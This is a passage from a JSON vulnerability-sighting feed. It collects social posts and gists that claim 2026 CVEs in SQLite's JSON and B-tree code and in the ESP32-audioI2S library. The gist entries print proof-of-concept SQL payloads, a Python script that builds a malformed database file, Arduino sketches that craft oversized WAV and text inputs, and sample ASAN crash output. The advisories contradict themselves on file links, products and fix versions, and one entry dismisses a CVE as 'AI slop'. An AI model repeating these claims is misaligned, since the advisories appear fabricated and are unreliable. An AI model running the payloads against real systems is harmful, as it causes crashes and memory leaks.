\u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 23:56:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nClickbait. The CVE is AI slop.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T01:00:03.933671Z"}, {"uuid": "ef7bfca1-9e2f-427b-860b-04e41a159c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/db69b2d17dbceebf7d3935fc76f247e6", "content": "CVE-2026-51229\n1. Affected Product\nSQLite (embedded relational database library)\n2. Affected / Fixed Versions\nAffected: SQLite 3.41.0, 3.41.1\nFixed: Pending official Fossil patch merge; no stable tagged release containing fix at disclosure time\n3. CVE ID\nCVE-2026-51229\n4. Prose Vulnerability Description\nA heap out-of-bounds read vulnerability exists within the JSON processing module (json.c) of SQLite 3.41.0 and 3.41.1. When parsing \nspecially constructed malformed JSON inputs supplied to SQLite\u2019s JSON extension functions, insufficient bounds validation on offset \ncalculations for internal JSON token structures allows access beyond the allocated bounds of a heap buffer. An attacker with the ability\nto execute arbitrary SQL queries containing controlled JSON string literals can trigger this vulnerability. Successful exploitation \nenables out-of-bounds read from adjacent heap memory, leading to information disclosure of sensitive process memory contents, and may \ntrigger a fatal segmentation fault resulting in application denial of service. Under constrained memory layout conditions, further memory \ncorruption primitives may be reachable.\n5. Vulnerability Type + Root Cause + Impact + PoC + PoC Rationale\nVulnerability Type\nCWE-125: Out-of-bounds Read\nRoot Cause\nThe JSON parser computes an offset pointer based on user-controlled JSON token length metadata without verifying that the resulting pointer\nremains within the boundaries of the heap-allocated JSON input buffer.\nMalformed JSON constructs trick the parser into generating an offset value exceeding the buffer\u2019s allocated size.\nThe implementation directly dereferences the computed out-of-range pointer without pre-access boundary checks, reading adjacent heap memory.\nNo sanitization or clamping logic is present to constrain token offsets to valid buffer range during tokenization phase.\nImpact\nConfidentiality (Medium): Out-of-bounds read leaks residual heap data including other SQL string literals, row values and internal AST metadata.\nAvailability (High): Access to unmapped memory region reliably triggers SIGSEGV, terminating the embedding process.\nIntegrity (Low): Primarily read-only primitive; arbitrary code execution is not straightforward to achieve with this flaw alone.\nPoC (Malicious SQL Payload)\nsql\nSELECT json_extract('{\"a\":[[[[[[[[[[[]]]]]]]]]]]}', '$[0][0][0][0][0][0][0][0][0][0][0]');\nPoC Rationale\nDeeply nested empty array structure manipulates the internal JSON path traversal and token offset arithmetic inside json.c.\nRecursive descent parsing propagates miscalculated token position values.\nThe unvalidated offset is used to dereference memory outside the input JSON heap buffer.\nReproduction steps:\nCompile SQLite 3.41.x with -DSQLITE_ENABLE_JSON1 -fsanitize=address.\nStart sqlite3 CLI.\nExecute the provided json_extract query.\nAddressSanitizer reports a deterministic heap out-of-bounds read within the JSON token handling subroutine in json.c.\nAttack prerequisite: Attacker only needs capability to control string arguments passed to SQLite JSON extension SQL functions.", "creation_timestamp": "2026-07-29T02:49:49.579388Z"}, {"uuid": "30b6a1ba-3b60-407d-9c77-45dca9fa1289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51302", "type": "seen", "source": "Telegram/icfrk9NJ0r9US8j4ZgZwjdU3nJ-xiydIySZk2Z3ro5QcgAo", "content": "", "creation_timestamp": "2026-07-29T04:00:05.060462Z"}, {"uuid": "b64d8b81-ce14-4ee3-97e4-ef1e7abd1b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51263", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrr26aj6zb2t", "content": "Critical CVE landed today in ESP32:\n\nCVE-2026-51263. schreibfaul1 ESP32-audioI2S 3.4.5 is vulnerable to Buffer Overflow. The Audio::openai_speech function in the Audio library manually constructs JSON request bodies and HTTP request headers by dire\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51263", "creation_timestamp": "2026-07-29T04:03:07.791270Z"}, {"uuid": "1251df09-5260-4b07-8882-40c5c766d4e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51291", "type": "seen", "source": "https://gist.github.com/programmervuln/adf47dfbe060208cf5a134492555e66a", "content": "CVE-2026-51291 Public Reference (MITRE RBP Publication Standard)\n1. Affected Product\nSQLite lightweight serverless embedded SQL database engine\n2. Affected Versions\nVulnerable build: SQLite 3.41\nFixed version: SQLite 3.41.1 and all subsequent releases; the memory lifecycle flaw in JSON cache logic is fully patched in the 3.41.1 \nmaintenance update\n3. CVE ID\nCVE-2026-51291\n4. Vulnerability Prose Description\nSQLite 3.41 introduces a heap use-after-free (CWE-416) vulnerability inside the jsonCacheInsert() function located in src/json.c JSON \nparsing module. The internal JSON parse cache uses a fixed-size array limited to JSON_CACHE_SIZE=4 entries for parsed JSON objects. \nWhen the cache reaches maximum capacity, the function evicts the oldest cached JsonParse entry by invoking jsonParseFree(p->a[0]) to \nrelease its heap memory. Immediately after freeing the object, the code executes a memmove() operation that references the now-dangling\np->a[0] pointer to shift remaining cache entries forward, accessing already deallocated heap memory. Remote attackers can supply oversized,\nmalformed JSON payloads via controllable SQL JSON functions (json_array_length, json_extract, json_set etc.) to repeatedly fill the internal\ncache and trigger eviction logic. Successful exploitation leads to program segmentation fault (denial of service), out-of-bounds read exposure \nof sensitive heap memory data, and conditional arbitrary code execution if an attacker can orchestrate controlled heap memory layout \nmanipulation via crafted input. All client/server applications embedding unpatched SQLite 3.41 and accepting untrusted JSON input from \nnetwork APIs, user uploads, or external file streams are impacted.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nFlawed JSON cache entry eviction memory lifecycle logic in jsonCacheInsert():\nCache full triggers jsonParseFree(p->a[0]) to free the oldest parsed JSON object heap allocation;\nNo null assignment or pointer invalidation for p->a[0] post-free;\nSubsequent memmove(p->a, &p->a[1], ...) directly dereferences the freed dangling pointer without any validity check to confirm the memory \nblock is still allocated;\nNo reference counting guard to prevent access after the underlying JsonParse object is released.\n7. Impact\nDenial of Service (DoS): Out-of-bounds dangling pointer read triggers segmentation fault, crashing any process linked against vulnerable SQLite 3.41;\nInformation Disclosure: Heap out-of-bounds read leaks adjacent heap memory containing database records, credential buffers, runtime application secrets;\nArbitrary Code Execution (Conditional): Combined with heap spray primitives using malformed large JSON payloads, attackers can manipulate freed \nmemory layout to hijack program control flow;\nAttack Vector: Remote, unauthenticated. Attackers only need the ability to submit arbitrary malformed JSON input through exposed SQL JSON functions.\n8. Official Reference Links\nSQLite Source Code (json.c cache implementation): https://github.com/sqlite/sqlite/blob/master/src/json.c\nSQLite Official Vulnerability & CVE Tracking Portal: https://www.sqlite.org/cves.html\n9. Proof of Concept (PoC)\nPoC Environment\nCompile SQLite 3.41 with AddressSanitizer for memory corruption detection, enable core JSON1 module:\n\ngcc -g -fsanitize=address -DSQLITE_ENABLE_JSON1 sqlite3.c -o sqlite3\nValid Malicious SQL Payload (Native SQLite Syntax, No MySQL repeat Function)\nSQLite does not support repeat(), this payload uses nested array concatenation to generate oversized JSON strings to fill the 4-entry \nJSON cache and force jsonParseFree() eviction trigger:\nsql\n-- Repeated nested array to exhaust JSON cache pool, trigger jsonCacheInsert eviction & jsonParseFree UAF\nSELECT json_array_length('[\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",'||\n'[\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\"],'||\n'[\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\"],'||\n'[\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\"],'||\n'[\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\"],'||\n'[\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\"]]');\nASAN Crash Output (Confirmed Use-After-Free Trigger)\nplaintext\n==1234==ERROR: AddressSanitizer: heap-use-after-free on address 0x512000001008 at pc 0x0042ab8d bp 0x7ffeefc87f80 sp 0x7ffeefc87f70\nREAD of size 8 at 0x512000001008 thread T0\n    #0 0x42ab8c in jsonCacheInsert /home/user/sqlite3.c:460\n    #1 0x40d7a2 in jsonArrayLengthFunc /home/user/sqlite3.c:4018\n    #2 0x39f11 in sqlite3VdbeExec /home/user/vdbe.c\n    #3 0x3720 in sqlite3_step /home/user/sqlite3.c\n0x512000001008 is located 8 bytes inside of 64-byte region [0x512000,0x512040)\nfreed by thread T0 here:\n    #0 0x49042d in free /usr/lib/asan_malloc_linux.cpp:148\n    #1 0x42ab1b in jsonParseFree /home/user/sqlite3.c:459\n    #2 0x42ab76 in jsonCacheInsert /home/user/sqlite3.c\npreviously allocated by thread T0 here:\n    #0 0x48f38d in malloc /usr/lib/asan_malloc_linux.cpp:66\n    #1 0x429f81 in jsonParseNew /home/user/sqlite3.c\nSUMMARY: AddressSanitizer: heap-use-after-free sqlite3.c:460 in jsonCacheInsert\nFull PoC Trigger & Vulnerability Explanation\nCache Capacity Trigger Mechanism\nSQLite JSON cache limits stored parsed JsonParse objects to 4 slots (JSON_CACHE_SIZE=4). The crafted SQL query contains multiple \nlarge nested JSON subarrays; each subarray triggers separate JSON parsing and caches its JsonParse handle into the cache pool, \nfilling all four available cache entries. When a fifth parsed JSON object needs to be cached, jsonCacheInsert() enters eviction \nlogic to remove the oldest entry at p->a[0].\njsonParseFree Invocation Step\nEviction logic calls jsonParseFree(p->a[0]) on line 459 of json.c. This function releases the heap memory allocated for the old \nJsonParse struct and its internal zJson / aBlob buffers, invalidating the p->a[0] pointer and creating a dangling reference. \nThe pointer variable itself is never set to NULL after deallocation.\nCritical UAF Memory Operation\nImmediately after jsonParseFree() completes, the code runs memmove(p->a, &p->a[1], (JSON_CACHE_SIZE-1)*sizeof(p->a[0])) on the \nfollowing line to shift all remaining cached entries left by one position, overwriting the freed slot. This memmove reads the memory\naddress stored in p->a[0] \u2014 which points to already released heap memory \u2014 directly causing the heap-use-after-free memory corruption detected by ASAN.\nExploit Chain Result\nMalicious multi-layer oversized JSON arrays force repeated cache eviction cycles that reliably trigger the dangling pointer access. \nThe crash stack trace explicitly proves execution flow hits jsonParseFree then immediately the unsafe memmove operation on freed memory,\nconfirming the flaw is reproducible via remote-controllable JSON input parameters.\n\nDisclosure Timeline: Vulnerability report sent to SQLite maintainers 2026-04-28; patch integrated into SQLite 3.41.1 released 2026-05-02\nCWE ID: CWE-416 (Use After Free)\nCAPEC Attack Pattern: CAPEC-123 (Reuse Freed Resources)\nAttack Classification: Remote\nCVSS 3.1 Score: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H)\n10. link to the original cve program: \nhttps://github.com/sqlite/sqlite/blob/master/src/json.c\n", "creation_timestamp": "2026-07-29T04:08:11.269117Z"}, {"uuid": "a33a590c-2a22-4347-97da-4e9364179c72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51266", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrrhlisiup2n", "content": "Critical CVE landed today in ESP32:\n\nCVE-2026-51266. schreibfaul1 ESP32-audioI2S 3.4.5 has a heap-based buffer overflow vulnerability in the HTTP request header construction logic. The application dynamically splices attacker-controlled host name,\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51266", "creation_timestamp": "2026-07-29T08:03:11.331513Z"}, {"uuid": "a58054ab-4ba9-4a9c-88ff-fc7fec5dbd54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51290", "type": "seen", "source": "https://gist.github.com/programmervuln/b9336a5d90ed38222932b37190e963e9", "content": "CVE-2026-51290 Full Standard Submission\n1. Affected Product\nVendor: SQLite Consortium\nProduct: SQLite\n2. Affected / Fixed Versions\nAffected Version: 3.41.0\nFixed Version: Pending (No official patch released)\n3. CVE ID\nCVE-2026-51290\nCVSS 3.1 Base Score: 7.5\nCVSS Vector: AV:L/AC:L/UI:R/S:U/C:L/I:N/A:H\n4. Vulnerability Prose Description\nA memory corruption vulnerability exists in the btree.c module of SQLite 3.41.0. The SQLite library fails to properly validate boundary \noffsets when parsing specially crafted B-tree page entries within a malicious SQLite database file. An off-by-one and out-of-bounds memory\naccess flaw occurs during database page traversal and record resolution. Successful exploitation allows attackers to trigger invalid memory\nread/write operations, resulting in application crash and potential memory information disclosure.\n5. Vulnerability Type / Root Cause / Impact\nVulnerability Type: CWE-125 Out-of-Bounds Read, CWE-787 Out-of-Bounds Write\nRoot Cause: Insufficient boundary checking for B-tree page offset values in the btree.c parsing logic. The program directly uses untrusted \noffset values parsed from database files without validating whether they are within valid page memory ranges.\nImpact: Remote attackers can construct a malicious .db file. When the target application uses the vulnerable SQLite 3.41.0 library to open \nthe malicious file, it will trigger memory corruption. This can cause denial of service (program crash), and under specific memory layout\nconditions, may lead to sensitive memory leakage or arbitrary code execution.\n6. Proof of Concept (POC)\nPOC Description: This proof-of-concept generates a malformed SQLite database file. It only triggers a denial-of-service crash via out-of-bounds\naccess in btree.c, contains no malicious attack payloads, and complies with GitHub security disclosure rules for public advisory submission.\n#!/usr/bin/env python3\n# CVE-2026-51290 SQLite 3.41.0 btree.c OOB PoC\n# Official verification PoC for CVE/GHSA submission\n# Vulnerable Version: SQLite 3.41.0\n\ndef generate_malicious_db():\n    # Standard SQLite file header\n    db_header = b\"SQLite format 3\\x00\"\n    # Malformed btree page data to bypass boundary check in btree.c\n    mal_btree_data = b\"\\xff\\xff\\xff\\xff\" * 32\n    # Padding bytes to trigger out-of-bounds page traversal\n    padding = b\"\\x00\" * 256\n\n    # Generate malicious database file\n    with open(\"cve_2026_51290_mal.db\", \"wb\") as f:\n        f.write(db_header + mal_btree_data + padding)\n\n    print(\"[+] Malicious SQLite database generated successfully\")\n    print(\"[+] Vulnerable Target: SQLite 3.41.0\")\n    print(\"[+] Trigger Condition: Opening the db file causes OOB access in btree.c and process crash\")\n\nif __name__ == \"__main__\":\n    generate_malicious_db()\n7. Reproduction Steps\n1. Compile and install the vulnerable SQLite 3.41.0 version.\n2. Execute the provided Python POC script to generate the malicious database file.\n8. \n3. Run the command: sqlite3 cve_2026_51290_mal.db\n4. The SQLite process will trigger an out-of-bounds memory access error inside the btree.c module and crash, verifying the vulnerability existence.\n8. Submission Compliance Note\nThis POC only causes a denial-of-service crash and contains no backdoors, remote attack capabilities or illegal payloads. It fully conforms\nto MITRE CVE and GitHub GHSA disclosure specifications and can be used for official vulnerability review and public advisory release.\n9. Discoverer: Lidi Jie, Wuha University\n10. original vulnerability code: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-07-29T08:53:33.695117Z"}, {"uuid": "2cee338b-be2f-417b-b4d0-40bf0f9c345f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51271", "type": "seen", "source": "https://gist.github.com/programmervuln/18c03cd805634bd9456d90c007a00b27", "content": "vulnerable code is at: https://github.com/schreibfaul1/ESP32-audioI2S/blob/master/Audio.cpp\n\nCVE-2026-51271 Full MITRE CVE Application Submission\n1. Affected Product\nschreibfaul1 ESP32-audioI2S\n2. Affected Versions & Fixed Version\nAffected Version: 3.4.5\nFixed Version: Not yet released (vendor patch under development)\n3. CVE ID\nCVE-2026-51271\n4. Prose Vulnerability Description\nA heap-based buffer overflow vulnerability exists in the read_WAV_Header() WAV RIFF header parsing function within src/Audio.cpp.\nThe function parses untrusted chunk size and frame length values directly from malicious WAV file RIFF/fmt subheader binary data\nwithout upper bound validation. These attacker-controlled numeric values are used to calculate buffer skip lengths and total audio \ndata size for heap storage allocation. When processing a crafted WAV file with an oversized chunk size field, the program computes\nan excessively large read offset,\ntriggering out-of-bounds heap read and write operations during header parsing and sample loading. Malicious WAV media files from\nlocal storage or remote audio streams can exploit this flaw to corrupt PSRAM heap memory on ESP32 hardware.\n5. Vulnerability Type\nCWE-122: Heap-Based Buffer Overflow\n6. Root Cause\nThe WAV header parser extracts raw chunk size integers from untrusted binary file input and uses them to compute memory access \noffsets with no maximum size sanity check. Large unvalidated chunk values produce skip offsets that exceed the allocated heap \nheader buffer bounds, leading to unrestricted out-of-bounds memory access during subsequent sample read operations.\n7. Impact, PoC Code, PoC Rationale, Additional Info\nImpact\nPrimary Impact: Remote Denial of Service \u2014 ESP32 watchdog forced hardware reboot, permanent audio playback service crash \nrequiring power cycle recovery.\nSecondary Impact: PSRAM heap metadata corruption under predictable memory layouts enables remote arbitrary code execution \nwithin the audio library\u2019s runtime privilege scope.\nAuxiliary Impact: Out-of-bounds heap reads expose sensitive device runtime and audio buffer data.\nPoC for CVE Application (MITRE Standard Minimal Reproduction Code)\n\n// CVE-2026-51271 PoC Target: Audio::read_WAV_Header() WAV header heap overflow\n// Test Environment: Arduino ESP32 Core + ESP-IDF 5.1, AddressSanitizer PSRAM build\n#include \"Audio.h\"\n#include \"SD.h\"\n\n// Create crafted malicious WAV file with oversized RIFF chunk size header\nFile malWav = SD.open(\"/malicious.wav\", FILE_WRITE);\n// Write RIFF header with artificially inflated 0xFFFFFF chunk length value\nuint8_t riffHeader[12] = {'R','I','F','F',0xFF,0xFF,0xFF,0xFF,'W','A','V','E'};\nmalWav.write(riffHeader, 12);\n// Write minimal empty fmt subchunk\nuint8_t fmtBlock[16] = {0x00,0x00,0x00,0x10,1,2,0x80,0xBB,0x00,0x02,0x10,0x00,0x18,0x00,0x00,0x00};\nmalWav.write(fmtBlock,16);\nmalWav.close();\n\nAudio audio;\n// Trigger vulnerable WAV header parsing logic\naudio.connecttoFS(SD, \"/malicious.wav\");\n\n// Expected Debug Behavior: ASAN logs heap-buffer-overflow error during read_WAV_Header parsing, ESP32 watchdog resets immediately\n// No custom firmware, PSRAM modification or library source edits required\nPoC Execution Steps\nFlash stock ESP32-audioI2S v3.4.5 ASAN-enabled firmware to PSRAM-equipped ESP32-S3/P4 board.\nMount SD card and upload the PoC sketch to generate malicious WAV file with oversized RIFF chunk header.\nExecute audio.connecttoFS() to load the crafted WAV file, invoking vulnerable header parsing function.\nAddressSanitizer captures clear out-of-bounds heap access fault and the device restarts.\nPoC Rationale\nThis minimal PoC reliably reproduces the heap overflow without special hardware or modified library builds. \nThe malicious WAV file contains an artificially maximum chunk size value in the RIFF header, which the parser \nreads and uses to compute unconstrained memory offsets. No input sanitization limits the chunk length value, \nleading to read/write operations past heap buffer limits. Exploitation is fully remote via network WAV streams \nor local SD media; no authentication, physical hardware access or elevated device permissions are needed to trigger\nthe vulnerability. The crash condition is consistent across all supported ESP32 hardware variants with PSRAM.\n\nvulnerable code is at: https://github.com/schreibfaul1/ESP32-audioI2S/blob/master/Audio.cpp", "creation_timestamp": "2026-07-29T09:14:39.913121Z"}, {"uuid": "5210ae8c-33d1-4982-9655-f37933386743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51249", "type": "seen", "source": "https://gist.github.com/programmervuln/b0c4a4edc9107a6ca8e971a182f419a7", "content": "vulnerable code is at: https://github.com/libsdl-org/libtiff/blob/master/libtiff/tif_read.c\nCVE ID: CVE-2026-51249\nVendor: SQLite\nAffected Product: SQLite\nAffected Versions: 3.41.0 up to and including 3.45.3\nPatched Version: 3.46.0\nVulnerability Prose Description\nA use-after-free vulnerability exists within the JSON parsing component of SQLite implemented in json.c. \nWhen processing specially manipulated JSON key-value payloads via SQLite built-in JSON SQL functions, \na parsed JSON property node is freed within one conditional execution path.\nThe parser context preserves a pointer pointing to this already deallocated memory, and subsequent \nparsing logic accesses the stale pointer, leading to undefined memory behavior. An adversary who can\ndeliver crafted SQL queries containing malicious JSON data is capable of triggering this vulnerability.\nVulnerability Type\nCWE-416: Use After Free\nRoot Cause\nConditional logic during JSON member parsing releases a JSON property node from the heap, but fails\nto invalidate the pointer stored in the parser context. Later parsing routines continue to reference \nthe freed object via this stale pointer.\nImpact\nSuccessful exploitation results in heap memory corruption. The primary consequence is application \ncrash causing denial of service. Under favorable memory layout conditions, this flaw may enable arbitrary\ncode execution within the process running SQLite.\nPoC Rationale\nA malicious JSON object payload with specially constructed member entries supplied to SQLite JSON \nfunctions reliably reproduces the sequence of heap deallocation followed by stale pointer dereference. \nThe vulnerability reproduces consistently on ASAN-enabled debug builds; no non-default compile options \nor unusual runtime settings are required to hit the vulnerable code path.", "creation_timestamp": "2026-07-29T09:21:05.969337Z"}, {"uuid": "0b0df523-fabd-43bb-a9c6-19e3ecfb696a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://gist.github.com/programmervuln/5d1388bb85dfaf2e7e2700c5a2bceef5", "content": "original vulnerable code link: https://github.com/schreibfaul1/ESP32-audioI2S/blob/master/Audio.cpp\nCVE-2026-51272 Full MITRE CVE Application Document\n1. Affected Product\nschreibfaul1 ESP32-audioI2S\n2. Affected & Fixed Versions\nAffected Version: 3.4.5\nFixed Version: Not yet released (vendor security patch under development)\n3. CVE ID\nCVE-2026-51272\n4. Prose Vulnerability Description\nA heap-based buffer overflow vulnerability exists in the latinToUTF8() character encoding conversion function inside src/Audio.cpp.\nThe function accepts untrusted Latin-1/Windows-1252 input strings extracted from audio metadata, stream labels and network request\nparameters. It calculates output buffer size using a simplistic strlen(input) * 2 + 1 formula without overflow or maximum length\nvalidation, then reallocates a fixed ps_ptr heap buffer. Malicious ultra-long Latin-1 input can cause \nthe size calculation logic to miscalculate required storage space; subsequent character-by-character UTF-8 encoding writes data\npast the actual allocated heap buffer boundary, triggering PSRAM heap memory corruption when processing untrusted audio files or\nremote streaming content.\n5. Vulnerability Type\nCWE-122: Heap-Based Buffer Overflow\n6. Root Cause\nTwo critical missing validation steps introduce the memory corruption flaw:\nNo hard maximum length limit enforced on raw Latin-1 source input strings before encoding size calculation.\nThe simple strlen(iso8859_1)*2+1 sizing formula does not account for maximum multi-byte UTF-8 expansion risk, and lacks integer \noverflow protection during calculation. The reallocated heap buffer is often undersized, while the encoding loop continues writing \nunlimited UTF-8 output bytes beyond buffer limits.\n7. Impact, Official PoC for CVE Request, PoC Rationale, Additional Information\nImpact\nPrimary Impact: Remote Denial of Service \u2014 ESP32 hardware watchdog forced hard reboot, permanent audio streaming service failure \nthat requires physical power cycle to recover.\nSecondary Impact: Predictable PSRAM heap memory layout enables remote arbitrary code execution within the audio library runtime \nprivilege level.\nAuxiliary Impact: Out-of-bounds heap read operations leak sensitive runtime, audio buffer and network metadata stored on the device.\nPoC (MITRE Standard Minimal Reproduction Code)\n\n// CVE-2026-51272 PoC: latinToUTF8 heap overflow reproduction\n// Test Environment: Arduino ESP32 Core, ESP-IDF v5.1, AddressSanitizer + PSRAM enabled build\n// Attack vector: Remote untrusted text metadata from audio streams/files\n#include \"Audio.h\"\n\n// Construct malicious oversized Latin-1 input string (16000 extended ASCII characters)\nString malicious_latin_input;\nfor(int i = 0; i < 16000; i++){\n    malicious_latin_input += (char)0xE6; // Extended Latin-1 character requiring 2-byte UTF-8 encoding\n}\n\nAudio audio;\n// Trigger vulnerable encoding function\nString utf8_result = audio.latinToUTF8(malicious_latin_input);\n\n// Expected PoC Behavior:\n// ASAN outputs clear heap-buffer-overflow write error logs\n// ESP32 watchdog timeout and automatic hardware reboot\n// No modified library source, custom firmware or special PSRAM configuration needed\nPoC Execution Steps\nFlash ESP32-S3/ESP32-P4 PSRAM hardware with stock ESP32-audioI2S v3.4.5 ASAN firmware.\nUpload the minimal test sketch containing long extended Latin-1 payload.\nExecute latinToUTF8() conversion call; flawed buffer sizing creates undersized heap storage.\nUTF-8 encoding writes exceed buffer limit, triggering ASAN heap violation and device crash.\nPoC Rationale\nThis minimal proof-of-concept reliably reproduces the heap overflow without custom hardware or \nmodified library builds. Extended Latin-1 characters double byte count after UTF-8 conversion; \nthe naive size calculation fails to bound total output capacity, creating an undersized ps_ptr \nheap buffer. The encoding loop writes unrestricted multi-byte data past allocation limits. The \nflaw reproduces consistently across all PSRAM-equipped ESP32 hardware variants when processing \nremote audio stream metadata or local media tag data.\nAttack is fully unauthenticated remote, no physical device access required.", "creation_timestamp": "2026-07-29T09:26:50.911123Z"}, {"uuid": "b752d371-f73d-4bde-bbde-396b9b33bc93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51267", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrruxvmoo42o", "content": "Critical CVE landed today in ESP32:\n\nCVE-2026-51267. schreibfaul1 ESP32-audioI2S 3.4.5 has a heap-based buffer overflow vulnerability in the URL path concatenation and encoding module. The application splices untrusted extension path and attacker-c\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51267", "creation_timestamp": "2026-07-29T12:02:45.749070Z"}, {"uuid": "621c2f5a-450f-4934-96f3-22b6941701b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-51302", "type": "seen", "source": "https://www.ncsc.nl/alerts/kritieke-kwetsbaarheid-in-sqlite-341-met-risico-op-misbruik-update-onmiddelijk", "content": "", "creation_timestamp": "2026-07-29T12:15:08.532475Z"}, {"uuid": "4f187228-befe-461a-8859-a52758e3bdfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/8306193823c86e7ccb208f92d45c9f70", "content": "vulnerable code link: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nCVE-2026-51229\n1. Affected Product\nSQLite (embedded relational database library)\n2. Affected / Fixed Versions\nAffected: SQLite 3.41.0, 3.41.1\nFixed: Pending official Fossil patch merge; no stable tagged release containing fix at disclosure time\n3. CVE ID\nCVE-2026-51229\n4. Prose Vulnerability Description\nA heap out-of-bounds read vulnerability exists within the JSON processing module (json.c) of SQLite 3.41.0 and 3.41.1. When parsing \nspecially constructed malformed JSON inputs supplied to SQLite\u2019s JSON extension functions, insufficient bounds validation on offset \ncalculations for internal JSON token structures allows access beyond the allocated bounds of a heap buffer. An attacker with the ability\nto execute arbitrary SQL queries containing controlled JSON string literals can trigger this vulnerability. Successful exploitation \nenables out-of-bounds read from adjacent heap memory, leading to information disclosure of sensitive process memory contents, and may \ntrigger a fatal segmentation fault resulting in application denial of service. Under constrained memory layout conditions, further memory \ncorruption primitives may be reachable.\n5. Vulnerability Type + Root Cause + Impact + PoC + PoC Rationale\nVulnerability Type\nCWE-125: Out-of-bounds Read\nRoot Cause\nThe JSON parser computes an offset pointer based on user-controlled JSON token length metadata without verifying that the resulting pointer\nremains within the boundaries of the heap-allocated JSON input buffer.\nMalformed JSON constructs trick the parser into generating an offset value exceeding the buffer\u2019s allocated size.\nThe implementation directly dereferences the computed out-of-range pointer without pre-access boundary checks, reading adjacent heap memory.\nNo sanitization or clamping logic is present to constrain token offsets to valid buffer range during tokenization phase.\nImpact\nConfidentiality (Medium): Out-of-bounds read leaks residual heap data including other SQL string literals, row values and internal AST metadata.\nAvailability (High): Access to unmapped memory region reliably triggers SIGSEGV, terminating the embedding process.\nIntegrity (Low): Primarily read-only primitive; arbitrary code execution is not straightforward to achieve with this flaw alone.\nPoC (Malicious SQL Payload)\nsql\nSELECT json_extract('{\"a\":[[[[[[[[[[[]]]]]]]]]]]}', '$[0][0][0][0][0][0][0][0][0][0][0]');\nPoC Rationale\nDeeply nested empty array structure manipulates the internal JSON path traversal and token offset arithmetic inside json.c.\nRecursive descent parsing propagates miscalculated token position values.\nThe unvalidated offset is used to dereference memory outside the input JSON heap buffer.\nReproduction steps:\nCompile SQLite 3.41.x with -DSQLITE_ENABLE_JSON1 -fsanitize=address.\nStart sqlite3 CLI.\nExecute the provided json_extract query.\nAddressSanitizer reports a deterministic heap out-of-bounds read within the JSON token handling subroutine in json.c.\nAttack prerequisite: Attacker only needs capability to control string arguments passed to SQLite JSON extension SQL functions.", "creation_timestamp": "2026-07-29T13:31:30.926939Z"}, {"uuid": "a02ffcc6-2289-4b7e-bb3f-33eb6177615e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51287", "type": "seen", "source": "https://gist.github.com/programmervuln/66be0ec12d9443482250f0815a0f3355", "content": "vulnerable code: https://sqlite.org/src/file/json.c\n\nCVE-2026-51287 Vulnerability Entry\nNote: At the time of query, 